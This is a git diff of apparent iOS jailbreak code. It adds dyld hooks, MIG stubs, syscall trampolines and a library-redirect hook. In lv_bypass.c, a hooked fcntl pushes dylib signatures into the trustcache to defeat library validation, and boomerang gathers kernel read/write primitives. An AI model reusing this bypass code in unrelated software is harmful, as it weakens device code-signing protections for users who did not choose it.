+#define PROC_KQUEUE_32 0x0008 +#define PROC_KQUEUE_64 0x0010 +#define PROC_KQUEUE_QOS 0x0020 + +struct kqueue_fdinfo { + struct proc_fileinfo pfi; + struct kqueue_info kqueueinfo; +}; + +struct appletalk_info { + struct vinfo_stat atalk_stat; +}; + +struct appletalk_fdinfo { + struct proc_fileinfo pfi; + struct appletalk_info appletalkinfo; +}; + +typedef uint64_t proc_info_udata_t; + +/* defns of process file desc type */ +#define PROX_FDTYPE_ATALK 0 +#define PROX_FDTYPE_VNODE 1 +#define PROX_FDTYPE_SOCKET 2 +#define PROX_FDTYPE_PSHM 3 +#define PROX_FDTYPE_PSEM 4 +#define PROX_FDTYPE_KQUEUE 5 +#define PROX_FDTYPE_PIPE 6 +#define PROX_FDTYPE_FSEVENTS 7 +#define PROX_FDTYPE_NETPOLICY 9 +#define PROX_FDTYPE_CHANNEL 10 +#define PROX_FDTYPE_NEXUS 11 + +struct proc_fdinfo { + int32_t proc_fd; + uint32_t proc_fdtype; +}; + +struct proc_fileportinfo { + uint32_t proc_fileport; + uint32_t proc_fdtype; +}; + +/* + * Channel + */ + +/* type */ +#define PROC_CHANNEL_TYPE_USER_PIPE 0 +#define PROC_CHANNEL_TYPE_KERNEL_PIPE 1 +#define PROC_CHANNEL_TYPE_NET_IF 2 +#define PROC_CHANNEL_TYPE_FLOW_SWITCH 3 + +/* flags */ +#define PROC_CHANNEL_FLAGS_MONITOR_TX 0x1 +#define PROC_CHANNEL_FLAGS_MONITOR_RX 0x2 +#define PROC_CHANNEL_FLAGS_MONITOR_NO_COPY 0x4 +#define PROC_CHANNEL_FLAGS_EXCLUSIVE 0x10 +#define PROC_CHANNEL_FLAGS_USER_PACKET_POOL 0x20 +#define PROC_CHANNEL_FLAGS_DEFUNCT_OK 0x40 +#define PROC_CHANNEL_FLAGS_LOW_LATENCY 0x80 +#define PROC_CHANNEL_FLAGS_MONITOR \ + (PROC_CHANNEL_FLAGS_MONITOR_TX | PROC_CHANNEL_FLAGS_MONITOR_RX) + +struct proc_channel_info { + uuid_t chi_instance; + uint32_t chi_port; + uint32_t chi_type; + uint32_t chi_flags; + uint32_t rfu_1;/* reserved */ +}; + +struct channel_fdinfo { + struct proc_fileinfo pfi; + struct proc_channel_info channelinfo; +}; + +/* Flavors for proc_pidinfo() */ +#define PROC_PIDLISTFDS 1 +#define PROC_PIDLISTFD_SIZE (sizeof(struct proc_fdinfo)) + +#define PROC_PIDTASKALLINFO 2 +#define PROC_PIDTASKALLINFO_SIZE (sizeof(struct proc_taskallinfo)) + +#define PROC_PIDTBSDINFO 3 +#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo)) + +#define PROC_PIDTASKINFO 4 +#define PROC_PIDTASKINFO_SIZE (sizeof(struct proc_taskinfo)) + +#define PROC_PIDTHREADINFO 5 +#define PROC_PIDTHREADINFO_SIZE (sizeof(struct proc_threadinfo)) + +#define PROC_PIDLISTTHREADS 6 +#define PROC_PIDLISTTHREADS_SIZE (2* sizeof(uint32_t)) + +#define PROC_PIDREGIONINFO 7 +#define PROC_PIDREGIONINFO_SIZE (sizeof(struct proc_regioninfo)) + +#define PROC_PIDREGIONPATHINFO 8 +#define PROC_PIDREGIONPATHINFO_SIZE (sizeof(struct proc_regionwithpathinfo)) + +#define PROC_PIDVNODEPATHINFO 9 +#define PROC_PIDVNODEPATHINFO_SIZE (sizeof(struct proc_vnodepathinfo)) + +#define PROC_PIDTHREADPATHINFO 10 +#define PROC_PIDTHREADPATHINFO_SIZE (sizeof(struct proc_threadwithpathinfo)) + +#define PROC_PIDPATHINFO 11 +#define PROC_PIDPATHINFO_SIZE (MAXPATHLEN) +#define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN) + +#define PROC_PIDWORKQUEUEINFO 12 +#define PROC_PIDWORKQUEUEINFO_SIZE (sizeof(struct proc_workqueueinfo)) + +#define PROC_PIDT_SHORTBSDINFO 13 +#define PROC_PIDT_SHORTBSDINFO_SIZE (sizeof(struct proc_bsdshortinfo)) + +#define PROC_PIDLISTFILEPORTS 14 +#define PROC_PIDLISTFILEPORTS_SIZE (sizeof(struct proc_fileportinfo)) + +#define PROC_PIDTHREADID64INFO 15 +#define PROC_PIDTHREADID64INFO_SIZE (sizeof(struct proc_threadinfo)) + +#define PROC_PID_RUSAGE 16 +#define PROC_PID_RUSAGE_SIZE 0 + +/* Flavors for proc_pidfdinfo */ + +#define PROC_PIDFDVNODEINFO 1 +#define PROC_PIDFDVNODEINFO_SIZE (sizeof(struct vnode_fdinfo)) + +#define PROC_PIDFDVNODEPATHINFO 2 +#define PROC_PIDFDVNODEPATHINFO_SIZE (sizeof(struct vnode_fdinfowithpath)) + +#define PROC_PIDFDSOCKETINFO 3 +#define PROC_PIDFDSOCKETINFO_SIZE (sizeof(struct socket_fdinfo)) + +#define PROC_PIDFDPSEMINFO 4 +#define PROC_PIDFDPSEMINFO_SIZE (sizeof(struct psem_fdinfo)) + +#define PROC_PIDFDPSHMINFO 5 +#define PROC_PIDFDPSHMINFO_SIZE (sizeof(struct pshm_fdinfo)) + +#define PROC_PIDFDPIPEINFO 6 +#define PROC_PIDFDPIPEINFO_SIZE (sizeof(struct pipe_fdinfo)) + +#define PROC_PIDFDKQUEUEINFO 7 +#define PROC_PIDFDKQUEUEINFO_SIZE (sizeof(struct kqueue_fdinfo)) + +#define PROC_PIDFDATALKINFO 8 +#define PROC_PIDFDATALKINFO_SIZE (sizeof(struct appletalk_fdinfo)) + + +#define PROC_PIDFDCHANNELINFO 10 +#define PROC_PIDFDCHANNELINFO_SIZE (sizeof(struct channel_fdinfo)) + +/* Flavors for proc_pidfileportinfo */ + +#define PROC_PIDFILEPORTVNODEPATHINFO 2 /* out: vnode_fdinfowithpath */ +#define PROC_PIDFILEPORTVNODEPATHINFO_SIZE \ + PROC_PIDFDVNODEPATHINFO_SIZE + +#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */ +#define PROC_PIDFILEPORTSOCKETINFO_SIZE PROC_PIDFDSOCKETINFO_SIZE + +#define PROC_PIDFILEPORTPSHMINFO 5 /* out: pshm_fdinfo */ +#define PROC_PIDFILEPORTPSHMINFO_SIZE PROC_PIDFDPSHMINFO_SIZE + +#define PROC_PIDFILEPORTPIPEINFO 6 /* out: pipe_fdinfo */ +#define PROC_PIDFILEPORTPIPEINFO_SIZE PROC_PIDFDPIPEINFO_SIZE + +/* used for proc_setcontrol */ +#define PROC_SELFSET_PCONTROL 1 + +#define PROC_SELFSET_THREADNAME 2 +#define PROC_SELFSET_THREADNAME_SIZE (MAXTHREADNAMESIZE -1) + +#define PROC_SELFSET_VMRSRCOWNER 3 + +#define PROC_SELFSET_DELAYIDLESLEEP 4 + +/* used for proc_dirtycontrol */ +#define PROC_DIRTYCONTROL_TRACK 1 +#define PROC_DIRTYCONTROL_SET 2 +#define PROC_DIRTYCONTROL_GET 3 +#define PROC_DIRTYCONTROL_CLEAR 4 + +/* proc_track_dirty() flags */ +#define PROC_DIRTY_TRACK 0x1 +#define PROC_DIRTY_ALLOW_IDLE_EXIT 0x2 +#define PROC_DIRTY_DEFER 0x4 +#define PROC_DIRTY_LAUNCH_IN_PROGRESS 0x8 +#define PROC_DIRTY_DEFER_ALWAYS 0x10 + +/* proc_get_dirty() flags */ +#define PROC_DIRTY_TRACKED 0x1 +#define PROC_DIRTY_ALLOWS_IDLE_EXIT 0x2 +#define PROC_DIRTY_IS_DIRTY 0x4 +#define PROC_DIRTY_LAUNCH_IS_IN_PROGRESS 0x8 + +/* Flavors for proc_udata_info */ +#define PROC_UDATA_INFO_GET 1 +#define PROC_UDATA_INFO_SET 2 + +__END_DECLS + + +#endif /*_SYS_PROC_INFO_H */ \ No newline at end of file diff --git a/BaseBin/_external/include/xpc/xpc.h b/BaseBin/_external/include/xpc/xpc.h index d0c66522c7..84efbabd8b 100644 --- a/BaseBin/_external/include/xpc/xpc.h +++ b/BaseBin/_external/include/xpc/xpc.h @@ -2732,5 +2732,4 @@ xpc_set_event_stream_handler(const char *stream, __END_DECLS XPC_ASSUME_NONNULL_END -#include #endif // __XPC_H__ diff --git a/BaseBin/_external/include/xpc/private.h b/BaseBin/_external/include/xpc_private.h similarity index 88% rename from BaseBin/_external/include/xpc/private.h rename to BaseBin/_external/include/xpc_private.h index 06b8cfe5e1..c479d2cdc6 100644 --- a/BaseBin/_external/include/xpc/private.h +++ b/BaseBin/_external/include/xpc_private.h @@ -1,3 +1,6 @@ +#ifndef __XPC_PRIVATE_H__ +#define __XPC_PRIVATE_H__ + void xpc_dictionary_get_audit_token(xpc_object_t xdict, audit_token_t *token); char *xpc_strerror (int); @@ -8,4 +11,6 @@ extern int xpc_pipe_routine_with_flags(xpc_object_t xpc_pipe, xpc_object_t inDic extern int xpc_pipe_routine_reply(xpc_object_t reply); extern int xpc_pipe_receive(mach_port_t port, XPC_GIVES_REFERENCE xpc_object_t *message); -extern XPC_RETURNS_RETAINED xpc_object_t xpc_copy_entitlement_for_token(const char *, audit_token_t *); \ No newline at end of file +extern XPC_RETURNS_RETAINED xpc_object_t xpc_copy_entitlement_for_token(const char *, audit_token_t *); + +#endif \ No newline at end of file diff --git a/BaseBin/_external/modules/litehook b/BaseBin/_external/modules/litehook new file mode 160000 index 0000000000..95863e1eb2 --- /dev/null +++ b/BaseBin/_external/modules/litehook @@ -0,0 +1 @@ +Subproject commit 95863e1eb254cdf2e092c545e982f5c762c2a3e8 diff --git a/BaseBin/boomerang/src/main.c b/BaseBin/boomerang/src/main.c index 25eceee427..7ed27c3fdf 100644 --- a/BaseBin/boomerang/src/main.c +++ b/BaseBin/boomerang/src/main.c @@ -2,9 +2,11 @@ #include #include #include +#include #include #include #include +#include #include int main(int argc, char* argv[]) @@ -24,6 +26,8 @@ int main(int argc, char* argv[]) xpc_object_t xdict = NULL; if (!xpc_pipe_receive(serverPort, &xdict)) { if (jbserver_received_boomerang_xpc_message(&gBoomerangServer, xdict) == JBS_BOOMERANG_DONE) { + dispatch_source_cancel(serverSource); + mach_port_deallocate(mach_task_self(), serverPort); exit(0); } xpc_release(xdict); @@ -46,25 +50,8 @@ int main(int argc, char* argv[]) if (kr != KERN_SUCCESS) return -1; mach_port_deallocate(mach_task_self(), launchdTaskPort); - // Retrieve system info - xpc_object_t xSystemInfoDict = NULL; - if (jbclient_root_get_sysinfo(&xSystemInfoDict) != 0) return -1; - SYSTEM_INFO_DESERIALIZE(xSystemInfoDict); - - // Retrieve physrw - jbclient_root_get_physrw(false); - libjailbreak_physrw_init(true); - libjailbreak_translation_init(); - - libjailbreak_IOSurface_primitives_init(); - if (__builtin_available(iOS 16.0, *)) { - libjailbreak_kalloc_pt_init(); - } - - // Retrieve kcall if available - if (jbinfo(usesPACBypass)) { - jbclient_get_fugu14_kcall(); - } + // Retrieve primitives + jbclient_initialize_primitives_internal(false); // Send done message to launchd jbclient_boomerang_done(); diff --git a/BaseBin/dyldhook/Makefile b/BaseBin/dyldhook/Makefile new file mode 100644 index 0000000000..73673d1380 --- /dev/null +++ b/BaseBin/dyldhook/Makefile @@ -0,0 +1,31 @@ +CC = clang + +CFLAGS = -I../.include -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -miphoneos-version-min=15.0 -Wno-deprecated-declarations -fno-stack-check -D_FORTIFY_SOURCE=0 -O2 +LDFLAGS = -shared -Xlinker -add_split_seg_info +FILES = $(wildcard src/*.c src/*.S ../libjailbreak/src/jbclient_mach.c) +FILES_IOS15 = $(wildcard src/generated/ios15/*.c) +FILES_IOS16 = $(wildcard src/generated/ios16/*.c) + +all: dyldhook_merge.arm64e.dylib dyldhook_merge.arm64e.iOS15.dylib dyldhook_merge.arm64.dylib dyldhook_merge.arm64.iOS15.dylib + +dyldhook_merge.arm64e.dylib: $(FILES) $(FILES_IOS16) + $(CC) -arch arm64e $(CFLAGS) -DIOS=16 $(LDFLAGS) -o $@ $^ + @ldid -S $@ + +dyldhook_merge.arm64e.iOS15.dylib: $(FILES) $(FILES_IOS15) + $(CC) -arch arm64e $(CFLAGS) -DIOS=15 $(LDFLAGS) -o $@ $^ + @ldid -S $@ + +dyldhook_merge.arm64.dylib: $(FILES) $(FILES_IOS16) + $(CC) -arch arm64 $(CFLAGS) -DIOS=16 $(LDFLAGS) -o $@ $^ + @ldid -S $@ + +dyldhook_merge.arm64.iOS15.dylib: $(FILES) $(FILES_IOS15) + $(CC) -arch arm64 $(CFLAGS) -DIOS=15 $(LDFLAGS) -o $@ $^ + @ldid -S $@ + +clean: + @rm -f dyldhook_merge.arm64e.dylib + @rm -f dyldhook_merge.arm64e.iOS15.dylib + @rm -f dyldhook_merge.arm64.dylib + @rm -f dyldhook_merge.arm64.iOS15.dylib diff --git a/BaseBin/dyldhook/src/dyld.h b/BaseBin/dyldhook/src/dyld.h new file mode 100644 index 0000000000..ca2efe4cda --- /dev/null +++ b/BaseBin/dyldhook/src/dyld.h @@ -0,0 +1,2 @@ +const char *_simple_getenv(char **envp, char *key); +uint64_t msyscall_errno(uint64_t syscall, ...); \ No newline at end of file diff --git a/BaseBin/dyldhook/src/dyld_jbinfo.h b/BaseBin/dyldhook/src/dyld_jbinfo.h new file mode 100644 index 0000000000..755a87ae19 --- /dev/null +++ b/BaseBin/dyldhook/src/dyld_jbinfo.h @@ -0,0 +1,17 @@ +#define DYLD_JBINFO_MAXSIZE 0x4000 + +#define DYLD_STATE_CHECKED_IN 1 + +// A struct that allows dyldhook to stash information that systemhook can later access +struct dyld_jbinfo { + uint64_t state; + char *jbRootPath; + char *bootUUID; + char *sandboxExtensions; + bool fullyDebugged; + + char data[]; +}; + +extern bool jbinfo_is_checked_in(void); +extern char *jbinfo_get_jbroot(void); \ No newline at end of file diff --git a/BaseBin/dyldhook/src/fakelib_redirect.c b/BaseBin/dyldhook/src/fakelib_redirect.c new file mode 100644 index 0000000000..c632456b56 --- /dev/null +++ b/BaseBin/dyldhook/src/fakelib_redirect.c @@ -0,0 +1,51 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "machomerger_hook.h" +#include "dyld_jbinfo.h" +#include "dyld.h" + +// When hiding the jailbreak in Dopamine settings, a lot of processes will crash due to the /usr/lib mount disappearing +// Anything that has libraries inside /usr/lib that are not in the shared cache (e.g. libobjc_trampolines.dylib) mapped in will crash +// We solve this here by redirecting dlopen calls for files in /usr/lib to /var/jb/basebin/.fakelib (if the latter is accessible) +// This way the vnode will not be on /usr/lib mount and the /usr/lib mount therefore can be unmounted without making stuff crash +// There are a few rare edge cases of processes that cannot access /var/jb/basebin/.fakelib for some reason, so we need to make sure those still go over /usr/lib + +extern void *ORIG(_ZN5dyld44APIs11dlopen_fromEPKciPv)(uintptr_t self, const char* path, int mode, void* addressInCaller); +void *HOOK(_ZN5dyld44APIs11dlopen_fromEPKciPv)(uintptr_t self, const char* path, int mode, void* addressInCaller) +{ + if (jbinfo_is_checked_in()) { + if (!access(path, F_OK)) { + const char *orgPrefix = "/usr/lib/"; + size_t orgPrefixLen = strlen(orgPrefix); + if (!strncmp(path, orgPrefix, orgPrefixLen)) { + char *jbroot = jbinfo_get_jbroot(); + if (jbroot) { + const char *suffix = &path[orgPrefixLen-1]; + const char *middle = "/basebin/.fakelib"; + + size_t redirPathSize = strlen(suffix) + strlen(middle) + strlen(jbroot) + 1; + char redirPath[redirPathSize]; + strcpy(redirPath, jbroot); + strcat(redirPath, middle); + strcat(redirPath, suffix); + + void *handle = ORIG(_ZN5dyld44APIs11dlopen_fromEPKciPv)(self, redirPath, mode, addressInCaller); + if (handle) return handle; + + // If anything failed, fall through + } + } + } + } + + return ORIG(_ZN5dyld44APIs11dlopen_fromEPKciPv)(self, path, mode, addressInCaller); +} \ No newline at end of file diff --git a/BaseBin/dyldhook/src/generated/ios15/task.c b/BaseBin/dyldhook/src/generated/ios15/task.c new file mode 100644 index 0000000000..f3ac6faed8 --- /dev/null +++ b/BaseBin/dyldhook/src/generated/ios15/task.c @@ -0,0 +1,128 @@ +#include + +#define __DeclareSendRpc(...) +#define __BeforeSendRpc(...) +#define __AfterSendRpc(...) +#define __MachMsgErrorWithoutTimeout(...) + +#define msgh_request_port msgh_remote_port +#define msgh_reply_port msgh_local_port + +/* Routine task_get_special_port */ +kern_return_t task_get_special_port +( + task_inspect_t task, + int which_port, + mach_port_t *special_port +) +{ + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + int which_port; + } Request __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t special_port; + /* end of the kernel processed data */ + mach_msg_trailer_t trailer; + } Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t special_port; + /* end of the kernel processed data */ + } __Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + /* + * typedef struct { + * mach_msg_header_t Head; + * NDR_record_t NDR; + * kern_return_t RetCode; + * } mig_reply_error_t; + */ + + union { + Request In; + Reply Out; + } Mess; + + Request *InP = &Mess.In; + Reply *Out0P = &Mess.Out; + + mach_msg_return_t msg_result; + +#ifdef __MIG_check__Reply__task_get_special_port_t__defined + kern_return_t check_result; +#endif /* __MIG_check__Reply__task_get_special_port_t__defined */ + + __DeclareSendRpc(3409, "task_get_special_port") + + // XXX: had to comment this out because we don't have NDR_record + //InP->NDR = NDR_record; + + InP->which_port = which_port; + + InP->Head.msgh_reply_port = mig_get_reply_port(); + InP->Head.msgh_bits = + MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + /* msgh_size passed as argument */ + InP->Head.msgh_request_port = task; + InP->Head.msgh_id = 3409; + InP->Head.msgh_reserved = 0; + +/* BEGIN VOUCHER CODE */ + +#ifdef USING_VOUCHERS + if (voucher_mach_msg_set != NULL) { + voucher_mach_msg_set(&InP->Head); + } +#endif // USING_VOUCHERS + +/* END VOUCHER CODE */ + + __BeforeSendRpc(3409, "task_get_special_port") + msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + __AfterSendRpc(3409, "task_get_special_port") + if (msg_result != MACH_MSG_SUCCESS) { + __MachMsgErrorWithoutTimeout(msg_result); + } + if (msg_result != MACH_MSG_SUCCESS) { + { return msg_result; } + } + + +#if defined(__MIG_check__Reply__task_get_special_port_t__defined) + check_result = __MIG_check__Reply__task_get_special_port_t((__Reply__task_get_special_port_t *)Out0P); + if (check_result != MACH_MSG_SUCCESS) { + mach_msg_destroy(&Out0P->Head); + { return check_result; } + } +#endif /* defined(__MIG_check__Reply__task_get_special_port_t__defined) */ + + *special_port = Out0P->special_port.name; + return KERN_SUCCESS; +} diff --git a/BaseBin/dyldhook/src/generated/ios16/task.c b/BaseBin/dyldhook/src/generated/ios16/task.c new file mode 100644 index 0000000000..ed606271fb --- /dev/null +++ b/BaseBin/dyldhook/src/generated/ios16/task.c @@ -0,0 +1,150 @@ +#include + +#define __DeclareSendRpc(...) +#define __BeforeSendRpc(...) +#define __AfterSendRpc(...) +#define __MachMsgErrorWithoutTimeout(...) + +typedef uint64_t mach_msg_option64_t; + +mach_msg_return_t +mach_msg2( + void *data, + mach_msg_option64_t option64, + mach_msg_header_t header, + mach_msg_size_t send_size, + mach_msg_size_t rcv_size, + mach_port_t rcv_name, + uint64_t timeout, + uint32_t priority); + +#define MACH64_SEND_KOBJECT_CALL 0x0000000200000000ull + +#undef mach_msg +#define mach_msg mig_mach_msg +static inline mach_msg_return_t +mig_mach_msg( + mach_msg_header_t *msg, + mach_msg_option_t option, + mach_msg_size_t send_size, + mach_msg_size_t rcv_size, + mach_port_name_t rcv_name, + mach_msg_timeout_t timeout, + mach_port_name_t notify) +{ + (void)notify; + return mach_msg2(msg, option | MACH64_SEND_KOBJECT_CALL, + *msg, send_size, rcv_size, rcv_name, timeout, 0); +} + +#define msgh_request_port msgh_remote_port +#define msgh_reply_port msgh_local_port + +/* Routine task_get_special_port */ +kern_return_t task_get_special_port +( + task_inspect_t task, + int which_port, + mach_port_t *special_port +) +{ + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + int which_port; + } Request __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t special_port; + /* end of the kernel processed data */ + mach_msg_trailer_t trailer; + } Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + +#ifdef __MigPackStructs +#pragma pack(push, 4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t special_port; + /* end of the kernel processed data */ + } __Reply __attribute__((unused)); +#ifdef __MigPackStructs +#pragma pack(pop) +#endif + /* + * typedef struct { + * mach_msg_header_t Head; + * NDR_record_t NDR; + * kern_return_t RetCode; + * } mig_reply_error_t; + */ + + union { + Request In; + Reply Out; + } Mess; + + Request *InP = &Mess.In; + Reply *Out0P = &Mess.Out; + + mach_msg_return_t msg_result; + +#ifdef __MIG_check__Reply__task_get_special_port_t__defined + kern_return_t check_result; +#endif /* __MIG_check__Reply__task_get_special_port_t__defined */ + + __DeclareSendRpc(3409, "task_get_special_port") + + // XXX: had to comment this out because we don't have NDR_record + //InP->NDR = NDR_record; + + InP->which_port = which_port; + + InP->Head.msgh_reply_port = mig_get_reply_port(); + InP->Head.msgh_bits = + MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + InP->Head.msgh_size = (mach_msg_size_t)sizeof(Request); + InP->Head.msgh_request_port = task; + InP->Head.msgh_id = 3409; + InP->Head.msgh_reserved = 0; + + __BeforeSendRpc(3409, "task_get_special_port") + msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + __AfterSendRpc(3409, "task_get_special_port") + if (msg_result != MACH_MSG_SUCCESS) { + __MachMsgErrorWithoutTimeout(msg_result); + } + if (msg_result != MACH_MSG_SUCCESS) { + { return msg_result; } + } + + +#if defined(__MIG_check__Reply__task_get_special_port_t__defined) + check_result = __MIG_check__Reply__task_get_special_port_t((__Reply__task_get_special_port_t *)Out0P); + if (check_result != MACH_MSG_SUCCESS) { + mach_msg_destroy(&Out0P->Head); + { return check_result; } + } +#endif /* defined(__MIG_check__Reply__task_get_special_port_t__defined) */ + + *special_port = Out0P->special_port.name; + return KERN_SUCCESS; +} \ No newline at end of file diff --git a/BaseBin/dyldhook/src/lv_bypass.c b/BaseBin/dyldhook/src/lv_bypass.c new file mode 100644 index 0000000000..7cb142a38c --- /dev/null +++ b/BaseBin/dyldhook/src/lv_bypass.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "machomerger_hook.h" +#include "dyld_jbinfo.h" +#include "dyld.h" + +#include + +// Library validation bypass +// Dyld will call fcntl to attach a code signature to a dylib before mapping it in +// So we hook fcntl to ensure the code signature to be attached is added to trustcache + +int HOOK(__fcntl)(int fd, int cmd, void *arg1, void *arg2, void *arg3, void *arg4, void *arg5, void *arg6, void *arg7, void *arg8) +{ + switch (cmd) { + case F_ADDSIGS: + case F_ADDFILESIGS: + case F_ADDFILESIGS_RETURN: { + struct siginfo siginfo; + siginfo.source = (cmd == F_ADDSIGS) ? SIGNATURE_SOURCE_PROC : SIGNATURE_SOURCE_FILE; + if (arg1) memcpy(&siginfo.signature, (fsignatures_t *)arg1, sizeof (fsignatures_t)); + jbclient_mach_trust_file(fd, arg1 ? &siginfo : NULL); + break; + } + } + return (int)msyscall_errno(0x5C, fd, cmd, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); +} \ No newline at end of file diff --git a/BaseBin/dyldhook/src/machomerger_hook.h b/BaseBin/dyldhook/src/machomerger_hook.h new file mode 100644 index 0000000000..ca80d4339e --- /dev/null +++ b/BaseBin/dyldhook/src/machomerger_hook.h @@ -0,0 +1,7 @@ +#ifndef __MACHOMERGER_HOOK_H +#define __MACHOMERGER_HOOK_H + +#define HOOK(name) MACHOMERGER_HOOK_##name +#define ORIG(name) MACHOMERGER_ORIG_##name + +#endif \ No newline at end of file diff --git a/BaseBin/dyldhook/src/main.S b/BaseBin/dyldhook/src/main.S new file mode 100644 index 0000000000..dfa1fb1b39 --- /dev/null +++ b/BaseBin/dyldhook/src/main.S @@ -0,0 +1,95 @@ +#define MAKE_TRAMPOLINE_ALIAS(to, alias) .global _##alias %% .global _MACHOMERGER_TRAMPOLINE_##to## %% _##alias: %% _MACHOMERGER_TRAMPOLINE_##to##: %% b . +#define MAKE_TRAMPOLINE(to) MAKE_TRAMPOLINE_ALIAS(to, to) + +#define SYSCALL_PROLOGUE stp x0, x1, [sp, -16]! %% stp x2, x3, [sp, -16]! %% stp x4, x5, [sp, -16]! %% stp x6, x7, [sp, -16]! +#define SYSCALL_EPILOGUE ldp x6, x7, [sp], 16 %% ldp x4, x5, [sp], 16 %% ldp x2, x3, [sp], 16 %% ldp x0, x1, [sp], 16 + +#define DEF_SYSCALL(name, num) .global _##name %% _##name: %% SYSCALL_PROLOGUE %% mov x16, num %% svc #0x80 %% mov x16, x0 %% SYSCALL_EPILOGUE %% bcc name##_end %% cmp x16, #4 %% beq _##name %% mov x16, #-1 %% name##_end: %% mov x0, x16 %% ret +#define DEF_MACHTRAP(name, num) .global _##name %% _##name: %% mov x16, -num %% svc #0x80 %% ret +#define DEF_ALIAS(to, from) .global _##to %% _##to: %% b _##from + +.text +.align 4 + +.global _MACHOMERGER_START_HOOK +_MACHOMERGER_START_HOOK: + // Copy-Paste from dyld + mov x0, sp + mov x19, sp + and sp, x0, #~15 // force 16-byte alignment of stack + mov fp, #0 + + // Call init + bl _dyldhook_init + + // Restore stack + mov sp, x19 + + // Jump to real start + b _MACHOMERGER_REAL_START + +#if IOS==15 && __arm64e__ + +.global _MACHOMERGER_ORIG__ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE +.global _MACHOMERGER_HOOKTRAMPOLINE__ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE +_MACHOMERGER_ORIG__ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE: + nop // Will be replaced with the original first instruction by machomerger + // FALLTHROUGH +_MACHOMERGER_HOOKTRAMPOLINE__ZN5dyld313loadDyldCacheERKNS_18SharedCacheOptionsEPNS_19SharedCacheLoadInfoE: + b . // Will be patched by machomerger + +#endif + +.global _MACHOMERGER_ORIG__ZN5dyld44APIs11dlopen_fromEPKciPv +.global _MACHOMERGER_HOOKTRAMPOLINE__ZN5dyld44APIs11dlopen_fromEPKciPv +_MACHOMERGER_ORIG__ZN5dyld44APIs11dlopen_fromEPKciPv: + nop // Will be replaced with the original first instruction by machomerger + // FALLTHROUGH +_MACHOMERGER_HOOKTRAMPOLINE__ZN5dyld44APIs11dlopen_fromEPKciPv: + b . + +MAKE_TRAMPOLINE(MACHOMERGER_REAL_START) +MAKE_TRAMPOLINE(cerror) +MAKE_TRAMPOLINE_ALIAS(__getpid, getpid) +MAKE_TRAMPOLINE_ALIAS(__bzero, bzero) +MAKE_TRAMPOLINE(mach_msg_destroy) +MAKE_TRAMPOLINE(mach_reply_port) +MAKE_TRAMPOLINE(mach_port_construct) +MAKE_TRAMPOLINE(mach_port_deallocate) +MAKE_TRAMPOLINE(memset) +MAKE_TRAMPOLINE(task_self_trap) +MAKE_TRAMPOLINE(__stack_chk_fail) +MAKE_TRAMPOLINE_ALIAS(_kernelrpc_mach_vm_allocate_trap, vm_allocate) +MAKE_TRAMPOLINE_ALIAS(_kernelrpc_mach_vm_deallocate_trap, vm_deallocate) +MAKE_TRAMPOLINE(vm_protect) +MAKE_TRAMPOLINE(memcpy) +MAKE_TRAMPOLINE(strcmp) +MAKE_TRAMPOLINE(strncmp) +MAKE_TRAMPOLINE(strlen) +MAKE_TRAMPOLINE(strstr) +MAKE_TRAMPOLINE(strcpy) +MAKE_TRAMPOLINE(strcat) +MAKE_TRAMPOLINE(close) +MAKE_TRAMPOLINE(open) +MAKE_TRAMPOLINE(fcntl) +MAKE_TRAMPOLINE(mmap) +MAKE_TRAMPOLINE(_simple_getenv) +MAKE_TRAMPOLINE_ALIAS(mig_get_reply_port, dyld_mig_get_reply_port) + +#if IOS>=16 +MAKE_TRAMPOLINE(mach_msg_overwrite) +MAKE_TRAMPOLINE(mach_msg2_internal) +#else +MAKE_TRAMPOLINE(mach_msg) +#endif + +DEF_SYSCALL(read, 3) +DEF_SYSCALL(access, 33) +DEF_SYSCALL(lseek, 199) +DEF_SYSCALL(__sandbox_ms, 381) +DEF_SYSCALL(fileport_makeport, 430) 